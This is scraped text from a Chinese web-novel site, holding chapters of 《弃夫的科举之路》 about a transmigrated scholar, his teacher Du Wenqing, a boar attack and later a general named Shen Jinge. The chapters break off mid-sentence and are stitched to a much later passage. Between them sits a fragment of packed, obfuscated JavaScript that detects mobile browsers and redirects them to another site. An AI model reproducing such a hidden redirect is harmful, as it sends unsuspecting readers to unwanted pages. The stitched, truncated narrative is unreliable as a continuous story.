不过谢彦能坦坦荡荡承认自己的错误,也并没有对阿月的离开产生怨怼,这让杜文清有些意外和欣慰。 毕竟杜文清不是张屠户他们,不会真以为阿月和谢彦和离,仅仅只是像谣言传的那样,全是因为他和那个李兰湘牵扯不清的原因所致。 在杜文清看来,自己好友留下的这个孩子,虽然学问确实不错,但性格却有些软弱,身体更弱,所以还真怕他受不了因此事带来的打击,从此一蹶不振,或是有个三长两短。 所以即便心里再有气,杜文清的话也没敢说的太狠,如今又听谢彦这般说,悬着的心才悄悄放下。 “好了,既然你没什么事,我就先回去了,你要是遇到什么解决不了的问题,就去书院找我。” 杜文清见已到午时,不想给谢彦添麻烦,因此即便还有些话想说,但还是打算留着下次见面再说,说完便准备起身回去。 “老师,已经午时了,您现在回去书院恐怕也没饭吃了,不如留下吃个便饭。” 杜文清本想拒绝,就听谢彦对一旁的铁蛋道:“铁蛋,你把你前两日写的大字拿来让爷爷看看,我去做饭。” 谢彦边说边请杜文清进屋,杜文清听他如此说,也就没再急着走。 进屋后谢彦本想给杜文清泡杯茶,但找了半天才发现家里根本没有茶叶。 杜文清见他在屋里翻来翻去,叹了口气道: “月之,别忙了,我不渴。” 杜文清叫月之的时候,谢彦还有些没反应过来,怔愣一下才想起,月之是原主的字。 谢彦最终只能给杜文清上一碗白开水,这在古代待客是极其失理的事,特别还是招待像杜文清这样的师长。 只是谢彦目前也没有别的办法,毕竟他也没想到突然会有客人登门拜访,不然他怎么也得买二两粗茶回来。 当然,像柳如烟那样的不算,因为柳如烟比起喝茶,更爱喝酒,所以谢彦才会给他打了酒,但杜文清却滴酒不沾。 铁蛋显然也认识杜文清,甚至把谢彦给他买的桂花糕拿出来招待杜文清。 “好孩子,爷爷不吃,你自己吃。” 杜文清不知为何,说这话的时候眼眶竟有些微微泛红。 “老师,您这次来,是不是还有别的事?” 谢彦见杜文清眼眶突然泛红,与刚才和他说话时的态度截然不同,还以为杜文清还有别的事。 谢彦对于原主这位恩师还是很敬重的,虽然自从原主考上秀才后,就没再去书院读书了,但遇到什么问题,只要他去请教,杜文清都会倾囊相授。 甚至在原主父母去世时,也是他帮着原主操办了丧事,确实担得起恩师二字。 只是杜文清也正因为人太好了,帮原主不紧因为原主是他曾经同窗好友的孩子,只要是他的学生有困难找到他,他都会施以援手。 也正因为他为人正直,又仗义疏财,导致他一个龙泉书院的山长,自己却过的清贫至极。 更何况他儿子杜子玉和几个族中子侄也要参加今年的乡试,所需花费也需要他和族中出资。 所以谢彦见他这个样子,还以为杜文清也遇到了什么难处,虽然他现在也很拮据,但只要能帮,还是打算尽力帮一把。 谁料杜文清却摇了摇头:“我无事,倒是你,要是有什么难处,同老师但讲无妨。” 谢彦见他如此说,只能先去灶间做饭。 留在堂屋的杜文清,让铁蛋去把他写的字拿过来。 原本还挺高兴的铁蛋,听说让他去拿自己写的字,立刻就变成了苦瓜脸,不过还是听话的去拿了。 等铁蛋把字拿出来后,杜文清看着纸上那斗大的歪七扭八的字,半天才道:“云儿,还需努力啊!” 因为杜文清始终叫不出口铁蛋这个乳名,而且铁蛋的大名还是原主请杜文清给取的,所以杜文清见到铁蛋的时候,一直都叫他大名的最后一个字。 铁蛋可能也知道自己写的差,所以听了杜文清的话,耷拉着小脑袋点了点头。 杜文清怕打击到他,安慰道:“你现在年纪还太小,能写成这样已经不错了,你去把笔墨拿来。” 铁蛋闻言,直接把杜文清拉去了他爹平时练字读书的书桌旁。 杜文清拿起毛笔蘸了些墨,放到铁蛋手里,随后握住他的小手,一笔一画写下了铁蛋的大名,谢拂云。 铁蛋从来不知道,自己的名字能被写的这么好看,即便他爹的字也很好看,但和杜文清的字一对比,就连铁蛋这样小的孩子,都能看出高下之分,特别这字还是杜文清握着他的手写出来的,心里不由升起一抹自豪感来。 “爷爷,您能不能写几个字留给我照着写?” 杜文清听他如此说,笑道:“这有何不可。” 说完他就重新铺上一张纸,在纸上挥笔写下一首五言诗,用意是让铁蛋在临摹的时候,也能将其背下来。 谢彦中途来堂屋拿东西的时候,就看见杜文清正在教铁蛋写字,一边还把他写的那首诗念给铁蛋听。 杜文清当年科举时因为一手好字,还得过先帝崇德帝的盛赞,要知道先帝的字在大启已是个中翘楚,能得到他的盛赞,可想而知杜文清的字的含金量。 最让人称奇的是,杜文清参加科举的目的与旁人不同,别人参加科举大部分都是奔着高官厚禄去的,而他参加科举,却只是为了拿到一个可以证明他学识的名头,然后回老家开办书院教书育人,为大启培养可用之才。 杜文清在殿试上的一番话,让当时才登基不久的先帝感到震惊和赞叹,虽然他更希望杜文清这样的人才能留在朝堂为国效力,但最终先帝还是破例特允他归乡开办书院,为此还赐了他百两金,和御书的龙泉书院四字让他带回老家。 今日龙泉书院大门口的匾额,便是当年先帝御笔亲书,这也是龙泉书院虽然开在龙泉县这么偏的地方,却依旧很出名的原因之一。 杜文清这个名字,也因他与众不同的理想和那一手连先帝都被惊艳的好字,而名动京城。 即便现在还有人愿意花高价求购龙泉居士的字,龙泉居士是杜文清的号。 杜文清没有食言,如今他的学生早已桃李满天下,更有不少已经步入朝堂,也有不少走了他的路,教书育人,继续为大启培养人才。 只是如今大启的局面,似乎并没有因为杜文清的付出而变得越来越好,反而因为很多不可控的因素和人为而变得动荡不安,民不聊生。 不过即便如此,杜文清也依旧没有放弃自己的初衷,他坚信终有一日,自己的学生会成为重新撑起大启的那些基柱中的其中一根甚至是很多根。 谢彦想,面对如今的大启,杜文清可能才是最倍受煎熬的那一个。 另外杜文清还有个怪癖,那就是从不给他看不顺眼的人写字,只要是他看不惯的人,哪怕出再多的银子求购他的字,他也不会卖。 而这些年来能买到龙泉居 7. 第七章 《弃夫的科举之路》全本免费阅读 老榆树村后面的山并不算太高,里面也没有那些大型的猛兽,不过野猪野兔野山羊,还有狼什么还是有的。 不过这些野生动物一般很少出现在山外围,所以只要运气没有背到家,一般是碰不上的。 即便如此,谢彦依旧一边走一边仔细观察周围,除了想找找看,有没有像辣椒之类在这个年代还没有的植物外,也是在留意有没有野兽在附近,以便遇到好第一时间逃跑或是上树。 只是怕什么来什么,一路下来没找到他想找的东西,却与一头很肥的野猪来了个偶遇。 谢彦附近没什么树,他只能转身撒腿就跑,只是他高估了原主的身体,拼尽全力脚下的速度最多也就是他心里速度的十分之一。 野猪可能也看出这是个软柿子,有些兴奋的冲了过来,谢彦的屁股被野猪嘴顶了一下,万幸他遇到的这头野猪獠牙没有长到外面来,不然结局,呃,谢彦不愿想象,也没时间想,因为他整个人已经被顶的失去重心从山坡上滚了下去。 还好没滚多远就被一棵大树给拦住了,要不是这棵树拦住了他,滚到底的话,不死也得断胳膊断腿。 只是谢彦还没来得及松口气,野猪就又朝他的方向冲了过来,他摸了摸身边,想摸块石头什么的跟野猪拼一把,结果石头没摸到,只扯到了把野菜叶子。 谢彦心说难道又要像前世一样憋屈的死了吗,自己穿个越,怎么连那些穿越的姑娘都不如,人家姑娘进山,就算发现不了什么值钱的东西,也不可能像他这样,才一进山就要噶了。 只是不知道死了还能不能穿回去,还有要是自己死了,铁蛋要怎么办,他还那么小,也或许杜文清和柳如烟会收养他。 在野猪冲过来的这短短的时间里,谢彦脑子里除了憋屈和死后能不能穿回去外,想得竟然都是铁蛋。 他们相处不过短短两天时间,他似乎已经从开始的抗拒带娃,变成现在把铁蛋当成自己的孩子了。 还有柳如烟,谢彦竟然对他有一种莫名的信任感,甚至把他放到了和杜文清同样可以信赖的程度上。 难道还真是想什么来什么,危机关头,谢彦似乎看到了柳如烟,只见他搭箭拉弓,直直朝他所在的方向射了过来。 谢彦竟一点都不怕,就眼睁睁看着那枝朝他这个方向射过来的箭,深深扎在了野猪的大屁股上。 野猪吃痛一个急刹,转头发疯似的朝柳如烟的方向冲了过去。 柳如烟却不闪不躲,搭箭拉弓,又是一箭,直插野猪右眼。 瞎了一只眼的野猪更加狂怒,惨叫过后,又朝柳如烟的方向猛冲。 柳如烟再次搭箭,一箭直插野猪的咽喉,这次野猪连惨叫都没来得及发出,就倒地不起了。 “谢老弟,你有没有受伤?” 谢彦死里逃生,整个人有些虚脱,他冲柳如烟摇了摇头,表示自己没事,刚准备爬上去,感觉手里还攥着什么东西,抬起手看了看,突然又趴了下去,在刚才倒下的地方寻找起来。 很快,谢彦就发现了已经被他薅脱了叶子的一株野山参,还好,它并没有像传说中的那样“跑了”。 谢彦快速在它周围划了个圈,然后找了跟结实的树枝,开始小心翼翼地挖着人参周围的泥土。 柳如烟见他爬起来又趴回去,在那半天不肯起来,还以为他受伤了,赶紧下去查看他的情况。 等他到了谢彦身边才发现,谢彦正在挖人参。 柳如烟见状也没打扰他,就站在他旁边,观察着四周动静,直到谢彦把那支一看就有不少年份的野山参挖出来后,柳如烟才道: “你这也算是因祸得福。” “这还得多亏柳大哥,要不是你,我连命都没了,哪里还能发现这野山参。” 谢彦说完,见柳如烟眸色清明,一点也没有因为这支一看就值不少银子的野山参而出现贪婪或是嫉妒的神色,又接着说: “等这支参卖了,银子我们一人一半。” 要不是谢彦现在急需银子,他会直接把这支野山参送给柳如烟,毕竟救命之恩,哪是半支野山参的钱就能还清的。 只是柳如烟听了他的话,却摇了摇头,指着不远处的那头野猪道: “我今天在山里转了大半天,也没发现猎物的影子,没想到谢老弟你运气这么好,一进来就碰到了这么肥的一头大野猪,说到底还得我谢谢你,所以我也不跟你客气,野猪归我,人参归你,如何?” 谢彦听他这么说,心说这样的“好运气”不要也罢,不过他也没再坚持,柳如烟的救命之恩,只要他有心,总有还的机会。 最终谢彦带着那支老山参,跟在扛着大野猪的柳如烟身后下了山。 回去后,谢彦听说柳如烟还没吃饭,便把中午给柳如烟留下的一碗红烧肉和米饭热了一下,又用鸡蛋和剩下的几颗小油菜做了个汤,让柳如烟先吃。 柳如烟也不客气,狼吞虎咽很快就吃完了,吃完打了个响嗝,又说了句好吃,便回去处理那头野猪了。 等野猪处理好后,柳如烟给谢彦送来一大块足有十几斤的肉,还有一个猪头和不少带肉的大骨头。 8. 第八章 《弃夫的科举之路》全本免费阅读 “你一大早来,就为了给我送猪头肉和排骨?” 杜文清有些好笑又有些欣慰的道,他也没想到,之前不是很懂人情世故的谢彦,自从阿月离开后,竟然改变了不少,不过这种改变在杜文清看来是好事。 谢彦如实道:“还想来谢谢老师送我的那幅字,我一定会好好珍藏,另外还想跟老师借大启地形图一看。” 大启地形图,并不是谁都有,恰巧杜文清就有一份,所以谢彦想借来看看,好对大启地形有一个更为清晰的了解,这对他科举也会有一些帮助。 杜文清在听到谢彦说,会好好珍藏自己留下的那幅字后,脸上的笑容又加深了不少,不过又担心他银子不够。 谢彦明白他心中所担心的事,便又道:“老师不必担心,我前日进山意外得了一支野山参,看着有些年份了,应该能解燃眉之急。” 杜文清听他如此说,便放心了:“如此甚好!” 不过他随即又叮嘱谢彦:“你这身体,不宜进山,以后不要再去了。” 谢彦其实到现在也还在后怕,明明就是不进山,他也有办法赚到银子,但他却偏偏想先进山去碰下运气,谁料这一去,他的运气还真不错,就是搞不好会要命。 虽然最终有惊无险,还得了一支野山参,但要不是柳如烟及时出现,他即便不死也得残,如果真残了,还不如死了呢。 所以他决定,自己还是老老实实走科举这条路,即便要赚钱也不要去那些他无法应付的地方,至于要用到武力的地方,他可以花银子请会武的人去做。 所以此次乡试,他打算请个人护送他和铁蛋去府城,而且他心里已经有了最佳人选,那就是柳如烟。 这样不但他和铁蛋的安全有了保障,还能让柳如烟在他考试的时候,帮忙照顾一下铁蛋,要是请个生人,他还真不放心把铁蛋单独交给对方照看。 就是不知道柳如烟愿不愿意,谢彦打算找机会问问他,要是他不愿意,他就只能跟着龙泉县的其他秀才一起结伴去府城,等到乡试的时候,他再想办法请个人照顾铁蛋到自己考试结束。 为了让杜文清放心,谢彦便跟他说了自己的打算。 杜文清听了十分赞同,本来他还打算让谢彦把铁蛋留下,他帮着照顾,但谢彦没同意。 谢彦说他这次去府城,会租个房子暂住,一边继续读书一边等放榜,要是侥幸能考中的话,他便先不回来,而是直接提前从府城前往京城,为明年的春闱做准备。 这一去时间不会短,所以他决定还是带上铁蛋,这样也能让铁蛋在途中涨涨见识,不是都说读万卷书不如行万里路吗,书要读,这有了远行的机会,自然也不能错过。 杜文清觉得他说的很有道理,便同意了,不过说去府城的时候,会让他儿子杜子玉和族中几个侄子和他一起同行,这样相互之间有个照应。 另一方面去府城这一路上,说不定还会遇到从边关和受灾地区南下逃难的灾民,所以并不太平,多个人也能多份保障。 当然,像谢彦这样体质的人不计入考虑范围,他只负责被人保护,也就杜文清这样的恩师,才不嫌弃他是个累赘。 两人聊了一会后,杜文清从书架上拿了大启地形图给谢彦,他让谢彦自己慢慢看,而他则去处理书院里的事务了。 杜文清走后,谢彦便把那张图展开平放在书桌上,仔细看了起来。 铁蛋见状,也趴在边上跟着一起看。 虽然原主曾经也看过大启地形图,但到底不是谢彦本人看的,为了更熟悉大启及周边几国的地貌,所以谢彦才决定再借来仔细看一遍。 与大启比邻且实力相当的一共有四个国家,其中大启的国土面积最大,北狄次之,西川和东陵国土面积差不多大,南越最小。 这四个邻国也是大启最大的敌人,他们垂涎物产丰富,地里位置极佳的大启已久,不过最想吞噬大启的却不是实力最强的北狄,而是国土面积最小的南越。 南越虽然与大启兵力悬殊很大,但却多出阴招,而且地里位置特殊,又时有瘴气,这让大启驻守在南越边境的将士,时常会吃暗亏。 等杜文清回来,谢彦已经看完了,他正在教铁蛋如何看地形图。 “云儿跟着你,到也不算是坏事。” 经杜文清提醒,谢彦也觉得老是叫铁蛋,对孩子将来不太好,要是他以后带着铁蛋去府城,甚至还有可能去京城,要是还这么叫,那么铁蛋一定会被人嘲笑。 因此他之后也不再叫铁蛋,而是像杜文清一样,叫他云儿。 铁蛋两相比较,觉得云儿比铁蛋好听多了,也就欣然接受了他爹突然就不再叫他小名这事。 详细了解了大启的位置和地形后,谢彦便不再打扰杜文清,打算回去了,另外他还打算在县里问问,看看能不能把那支野山参卖出去。 杜文清听说他要卖那支野山参,便对他说:“要是你信得过老师,不如就将那参留下,我找人给你问问。” 谢彦一听大喜,他怎么把杜文清这么大的人脉给忘了,虽然杜文清一直在龙泉县教书,但同窗和学生遍地,卖支参对他来说绝对不是难事。 再说他那支参确实不错,不然即使杜文清愿意替他卖,他也不会拿出来让杜文清为难。 等杜文清看了谢彦带来的那支野山参后,眼睛不由亮了亮,他对谢彦道:“你乡试甚至是明年进京赶考的花费应该都够了。” 谢彦听他这么说,心里有了底,他朝杜文清作了一揖:“那就有劳老师了。” 之后他便带着铁蛋和杜文清告辞了。 谢彦他们走后,也快到了午饭时间,杜文清本打算带着谢彦送他的吃食,回家去给自家娘子也尝尝,谁料龙泉县县令曹科竟然穿着便服来了。 “你不在衙门处理公务,跑来我这里作甚?” 曹科听 9. 第九章 《弃夫的科举之路》全本免费阅读 “老师,您这又是何苦?” 曹科又急又怒,他说完又冲外面的随从喊:“快请王太医进来。” 随从闻言,赶紧带随他们一起来的王太医进来。 杜文清因为拒绝给贤王写字而自残的事,谢彦自然不知,不过他一回到家,就见村长来找他。 村长说今年夏季不仅要交惯例的税,另外靠近南越的边关军营粮草告急,所以要额外向各家各户再多征一批军粮,要是没有粮食,就一户交二两银子,限十日内交齐。 本来这事不关谢彦什么事,毕竟他是秀才,不用交税,家里更没有田地,但替军中额外征粮,这不算常规税收,所以村长才会亲自来同他说。 对于军中征粮这事,谢彦没有异议,毕竟要是边关失守,遭殃的就是老百姓,总不能让众将士饿着肚子杀敌。 只是他担心,这些粮食和银子是否能如数送到边关将士手中。 于是谢彦多问了一句,问村长这次朝廷派来征粮的人是谁。 “这次被派来征粮的人,来头可大了,是当今太后所生的大皇子贤王。” 谢彦闻言心里咯噔一下,这个贤王,杜文清曾提醒过原主和杜子玉他们,说即便将来侥幸考中入朝为官,也不要和这个人及他背后的魏氏一族有过多牵扯,对待其他王公贵族也是如此,做个只尽忠于大启的纯臣即可。 皇家水深,魏太后虽然是当今皇上的生母苏太后死后才被立后的,但她却在当贵妃时就生下了贤王这个长子。 再加上魏太后娘家势力很大,她父亲魏丞相,更是三朝元老,至今仍然高居相位,手握重权,又门生众多,朝中关系错综复杂,朝堂上站着的至少有一半都是他的人。 有这样的身份和背景,要是说在外人眼里人淡如菊的魏太后,一点想替自己儿子争一争那个位置的心都没有,估计傻子都不会信。 不过最后,先帝还是选择了当今皇上继承大统。 而落选的贤王,竟奇迹般的没有上演兄弟相残的场面,据说贤王性子随魏太后,淡薄名利,对下宽厚,而且从小就十分节俭,生活起居一切从简,一日三餐粗茶淡饭,对百姓却是经常施粥施药,甚是慷慨。 近几年为了大启能够风调雨顺,国泰民安,贤王甚至还亲自三拜九叩,上了建在位于京城郊外一座两百余丈高的百雁山上的护国寺,为大启百姓祈福。 甚至有人认为,旱灾和蝗灾瘟疫这些天灾能得到缓解,是贤王感动了上苍,根本没人觉得这和年纪轻轻就已经一头白发的当今皇上有什么关系。 反倒是比当今皇上年长几岁,有着一头黑亮如绸的头发的贤王,更得百姓的爱戴。 甚至很多王公贵族中的子弟,对贤王那头黑亮丝滑的头发十分羡慕,不惜下血本养护自己的头发,试图达到贤王那样的效果,但却始终略逊一筹。 贤王的贤名自然不止这些,当初在先帝去世,外出的太子玄崇带伤回京后,贤王更是第一个站出来拥护他登基。 因此他在大启百姓的心中,担得起这个贤王之名。 不过即便贤王的名声再好,但相较素未谋面的贤王,谢彦更相信杜文清的为人。 人人都夸好,并不一定就好,有时看一个人所做之事的结果,而不是流于表面的过程,更能折射出一个人的本性。 就比如传闻中贤王那头黑亮丝滑的头发,就不是自幼吃着粗茶淡饭的人能养出来的。 当然,也不排除有人天生就有一把好头发,和饮食关系不大,但事实真是如此吗?谢彦持怀疑态度。 不过现在他还只是一个小小的秀才,连朝堂的边都还没挨着,此时顾虑这些未免为时尚早,要是他运气差或是学识不够,最后屡试不第,说不定这辈子都见不到那些杜文清建议原主要远离的人。 两日后,杜文清的的儿子杜子玉来找谢彦,交给他二百两银票和二十两散碎银子,说是卖人参的银子。 谢彦没想到那支参能卖这么多银子,杜文清说的没错,这些银子足够他一轮科举下来用了,当然他也不可能坐吃山空,他准备提前去府城,除了跟杜文清说的那样,另外也想看看能不能找些不用花太多本钱的生意来做。 他收下银子后,便留杜子玉在家吃饭,杜子玉闻言眼睛亮了一下,不过不知想到了什么,又摇头拒绝了,声称自己还有旁的事。 “既然如此,那我就不留子玉了,等我明日做些好菜,给老师和你送过去。” 因为杜子玉今年才二十,比原主还小两岁,所以谢彦便按照原主以前的叫法,直接叫他名子。 谁料谢彦刚说完,杜子玉却连连摆手:“不用不用,我爹说,乡试在即,让月之兄在家安心读书,最近就不用去书院找他了。” 杜子玉说完就要走,却被谢彦一把拉住:“老师前几日还跟我说,要是遇到什么难题,可以随时去书院找他,你跟我说实话,老师是不是出什么事了?” 杜子玉闻言脸色变得有些难看,他压着怒气道:“我爹不让我跟你说,怕影响你读书。” 谢彦闻言有种不好的预感,不知为何,他突然想起了还在龙泉县征收钱粮的贤王,于是他有些严肃的对杜子玉道: “子玉,你跟我说实话,老师到底怎么了?不然你这话说一半,只会让我更加不能安心读书。” 杜子玉见谢彦担心他爹的神色不似作假,心情好了一些,至少他爹的学生,不都是像曹科那样的势利小人,只不过等他看到谢彦那若不禁风的身形时,又觉得告诉他又有什么用,只不过是多个人一起烦恼和生气罢了。 虽然杜子玉觉得告诉谢彦也没什么用,但最终还是在他的逼迫下,说出了曹科逼他父亲写字讨好贤王,最终逼的他父亲自己砸伤右手的事。 谢彦听了他的话,也被气得火冒三丈,虽然他不是原主,但杜文清这位原主的恩师,对原主可以说有着再造之恩,就连他穿过来后都跟着受他照拂和关心,而且即便撇开私情不谈,就凭杜文清的为人,也足以让人敬佩和尊重。 试问世上的读书人,有几个能做到杜文清这种淡薄名利一心只想为国家培养人才的人,别说别人,就连谢彦自己也做不到。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12729566|130138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崇就动了手脚,把原本第一的谢彦换到了最后一名。 谁曾想,最后玄崇不但没有把谢彦给刷下去,还破例让他带着孩子跨马游街,甚至还当着百官替谢彦催债。 此时玄容才明白过来,玄崇之前对谢彦的态度和打压,只是为了蒙蔽他们这些人。 最可气的是沈金戈一回来,就把谢彦给带回了将军府,这让玄容不仅没看成笑话,还让在自己眼中一直是个废物的谢彦成了气候,如今倒是把他衬托的像个笑话。 再想到谢彦那张脸,如今还在京城活的那么滋润,玄容直接破防了,他怒气冲冲的上了马车去了丞相府。 ―― 沈金戈回到家的时候,不见谢彦和铁蛋,问了沈望才知道,谢彦说要回去拿些换洗衣服和调料什么的再回来,另外还要再和家中的朋友以及下人说一声,以免他们担心。 沈金戈闻言点了点头,沈望问她要不要摆饭,原本沈金戈想等谢彦他们回来再摆饭,就听沈望道:“小姐,姑爷走前已经把您的饭做好了,姑爷和小公子是吃了才走的。” 沈金戈本来还以为谢彦说给她留饭,只是一句客气话,没想到自己都说不用留了,他还是给自己留了饭,于是对沈望道:“那摆饭吧。” 没一会沈望就带着两个小丫鬟来送饭,一个丫鬟手里的托盘上端着一大摞烙饼,另一个丫鬟手里的托盘上端着一大碗稀粥和一碟咸菜。 沈金戈看着摆上桌的饭食有些愣神,沈望还以为她是因为没肉,皇上在派他过来打理将军府的时候就让人跟他说过,小姐无肉不欢,所以等她回来,要按照她的喜好安排饭食。 因此沈望连忙解释道:“姑爷说,这些先给小姐垫垫肚子,等他回来再给小姐带些卤货回来吃,他说小姐这一路赶路,现在肯定特别想吃开胃的东西,但要他现卤有些来不及了,只能回去时顺便拿些过来。” 沈金戈闻言再次点了点头,便用烙饼卷了咸菜先吃了起来,不过她吃饭的速度和饭量,把沈望和两个小丫鬟都给惊了一下,沈望心说也难怪他们家姑爷会留那么一大摞烙饼给他们家小姐吃。 不过他们家姑爷烙的饼确实很香,就连普普通通的咸菜,他们家姑爷也能把它做的那么好吃,连他们这些下人都跟着沾光吃了。 谢彦他们回来的时候,刚到大门口就遇到牵着马出来的沈金戈。 “我刚才吃多了,出来消消食!” 难得这次谢彦还没问,沈金戈就自己开口了。 谢彦点了点头:“那给你和你的部下带的卤货和酒,就留给你们明天吃,你去消食吧。” 沈金戈闻言表情僵了一瞬,随即道:“他们应该也馋酒了,我现在就给他们送去解解馋。” “那行。”谢彦说着让送他们来的万福,帮沈金戈一起把装卤货的木桶和还有酒坛子往里搬。 铁蛋因为白天运动量太大,在回来的路上已经睡着了,谢彦便抱着他先进去了,沈金戈叫来门房,把她的马先牵回马厩。 跟着沈金戈一起回来的那些部下,一见到酒和那些卤货,眼睛都绿了。 “将军,我说你怎么非要当街把那个负心人给绑回来呢,就凭这手艺,也确实不能让他便宜了那个小寡妇!” 沈金戈的副将罗山在尝了酒和肉后,没心没肺的道,直到旁边的人用胳膊抵了抵他,他才发现自家将军的脸黑了,连忙找补道:“我们将军武功盖世,一拳能打死牛,一顿还能吃三大碗干饭,哪里是一个弱不禁风的小寡妇能比的。” 只是罗山的话说完,发现自家将军的脸更黑了,一时竟不知自己到底是那句说错了。 旁边有机灵的人想让他闭嘴,毕竟谁夸一个女子会这么夸的,这和骂人有何区别,他们将军的脸不黑才怪。 只是那人还没来得及提醒罗山,就听沈金戈道:“你们吃完绕着将军府的练武场跑十圈,正好可以消消食。” 说完她又扫了一眼那些一看就很好吃的卤货,抿了抿唇走了。 “都怪你,不会说话就闭嘴,肉都堵不住你的嘴,这下好了,我们这一路赶路,都快累死了,现在还要因为你这个大嘴巴跑十圈,难到你先前没看见将军府的练武场到底有多大吗!” 谁料罗山依旧一头雾水:“我到底说错什么了?” 众人翻了个白眼,不想再和这个除了打仗,凡事都缺根筋的人解释,因为说了他也未必听得懂,总之以后他们绝对不会让罗山再在他们将军面前提起那个小寡妇,以及他们将军那和他们不相上下的饭量。 因为说好做戏做真些的,所以谢彦被安排在了沈金戈的房间住,不过房间里除了床,还有一张长塌,塌上也有被褥,谢彦自然认为那塌是给他准备的。 于是他把铁蛋放到了床上,打算让他跟他娘睡,自己睡塌。 把铁蛋安顿好后,谢彦一边整理自己带来的东西,一边还有些觉得不真实,他怎么都没想到,他和阿月,还能再次住到同一间屋子里。 就在谢彦想着事情的时候,就见沈金戈推门进来,谢彦见她这么快回来,估计是没和她那些部下一起吃,沈金戈无肉不欢他自然知道,毕竟他有原主的记忆,她这半年在边关,别说肉,估计连饭都吃不饱,恐怕早就馋的不行了。 虽然谢彦心里还有气,但毕竟他现在也和沈金戈是合作关系,所以他指了指桌子上的几个油纸包,让她要是已经消食了就再吃点。 沈金戈看着那几个油纸包,也没有客气,毕竟是真馋了,而且她什么性子,谢彦最清楚,要不然应该也不会单独给她留这些。 她先去看了看铁蛋,随后就坐到桌边,打开那几个油纸包,里面分别是卤猪蹄,猪耳朵,还有卤排骨和肚丝。 另外桌子上还有一个竹筒,据谢彦说里面装的是牛奶和茶煮的,俗称奶茶,让她要是吃的渴了可以喝点。 几包吃食加起来至少也有三四斤,没一会功夫就被沈金戈都吃完了。 谢彦见状也并没表现出震惊,收拾收拾就准备睡觉了。 而沈金戈则在玄崇给她准备的首饰盒里翻出两支金凤钗,随即递给谢彦:“这个给你,算是抵今日的酒钱和菜钱,要是还有剩,明日就请你再帮我准备一点,我带进宫。” 谢彦看着沈金戈递过来的两支金凤钗,直接接了过来,随即又放回那个装满各种名贵首饰的盒子里,心说传闻皇上疼沈金戈这个妹妹果然是真的,毕竟宁愿自己省吃俭用,也要给自己妹妹准备这么多的名贵首饰。 不过他觉得皇上给沈金戈准备的这些首饰,她怕是没什么机会戴,心说还不如给镇国将军府的库房里放些银子,让她用起来也方便一些,不至于像现在这般因手头紧而陷入窘境。 只是谢彦不知道的是,玄崇不是没有给将军府的库房里放银子,还放了不少,那些都是沈家铺子和庄子上这些年的收益。 虽说当年镇国大将军府被烧了,但镇国大将军府外面那些庄子田地和铺子都还在,这几年玄崇一直派人在打理。 本来沈金戈在离开老榆树村前,袁公公就跟她说过这些,不过当时沈金戈是让袁公公转告玄崇,把那些田地和铺子的收益,全拿去用于振灾,但玄崇却从来没动过那些银子,就连重建镇国大将军府,动用的也是他自己私库里的银子。 只是玄崇并没有跟沈金戈说这些,沈望又还没来得及让她看这几年的将军府账本,所以她才会拿一对金凤钗抵饭钱,但出乎她意料的是谢彦非但没要,还对她说: “既然我以后有很长一段时间也要住在将军府,那也不能一毛不拔,以后你就负责出房子,我负责吃食和日常的各项开销。” 沈金戈却道:“是我有求于你,所有开销自然是我来出,不过既然你不想要这些首饰,那就等我从北狄回来时,你离开的时候再一起补给你。” “随你!”谢彦见她还在死撑,没好气地回了一句,就去睡觉了。 沈金戈见状把自己那杆银枪拿到他塌前放下。 “你干嘛?”谢彦见她把那杆也不知斩杀了多少敌人的银枪放到自己床头,有些头皮发麻的问。 “给你夜里防身用,不然我怕你睡不着。” “不是有你这大启第一女战神在吗,我为何会睡不着?” 谁料沈金戈却淡淡地道:“就是给你防我用的!” 谢彦一听,顿时心里一惊,赶紧抱住了那杆银枪。 沈金戈见状,嘴角勾了勾,随后卸了身上的盔甲沐浴去了。 等她再回来的时候,谢彦就闻到一股淡淡的血腥味,“你受伤了?” 虽然谢彦觉得他不应该对沈金戈表现出过度关心,以免让她觉得自己对她还不死心,但要是沈金戈提前噶了,那将来他和他的朋友们还怎么把生意顺顺利利的做到北狄去,再说他也不想让铁蛋这么小就没了娘。 沈金戈却不甚在意的说:“小伤而已,死不了,你安心睡吧。” “那就好!”谢彦赌气说了一句,就起来吹息了蜡烛,只是半个时辰后,房间里的蜡烛又被点亮了,谢彦不知从哪里翻出一个小瓷瓶站到了沈金戈床边。 沈金戈可能是连日赶路实在太累了,原本寒星一样的眸子,此刻也变得有些迷瞪:“怎么了,是不是云儿要尿了?” 她说完手还下意识地摸了摸床里边铁蛋的身底下,见铁蛋身下是干的,才松了口气。 不过似乎是习惯使然,沈金戈这句话,把两人的记忆都拉回到了在老榆树村的时候,只可惜谢彦虽然有原主的记忆,但却又不是原主,他神色有些复杂地道:“不是云儿要尿,是我闻见血腥味睡不着,你哪里受伤了,我这里有药,给你上一些。” “后背。” 沈金戈并没有防备谢彦,说完把原本侧躺的姿势改成趴着睡。 谢彦心说,你里衣不脱我没法给你上药,但沈金戈似乎又睡过去了。 谢彦见她确实是太累了,也没再叫醒她,直接找了把剪刀,把她的里衣从后面小心的给剪开了。 本来谢彦还在心里警告自己不要有杂念,只是单纯的上个药,等剪开里衣后,他哪里还顾得上想那些乱七八糟的,沈金戈后背上,不仅有一条又长又深的新伤口,被布带简单的包扎着,布带上已经渗出血来了,另外还有不少大大小小的伤,从疤痕的时间上来看,应该都是这大半年所受的伤。 谢彦很想把沈金戈叫醒骂一顿,这是真不拿自己的身体当身体,那么深的伤口,一个处理不好就是要命的事,她这是想让他们家铁蛋这么小就没了娘吗。 不过最终他还是忍了,轻手轻脚替沈金戈上好药,又重新找了干净的布带替她包扎好。 谢彦忙完一切重新躺回床上时,却辗转反侧睡不着,他伸手摸了摸靠在塌边上的那杆银枪,心说什么大启女战神,也不过是肉体凡胎,死撑罢了。 不过连沈金戈这样武功高强的将领,在战场上都是伤痕累累,那那些普通的将士和边关的百姓呢?谢彦不愿去想,但却又无法不去想。 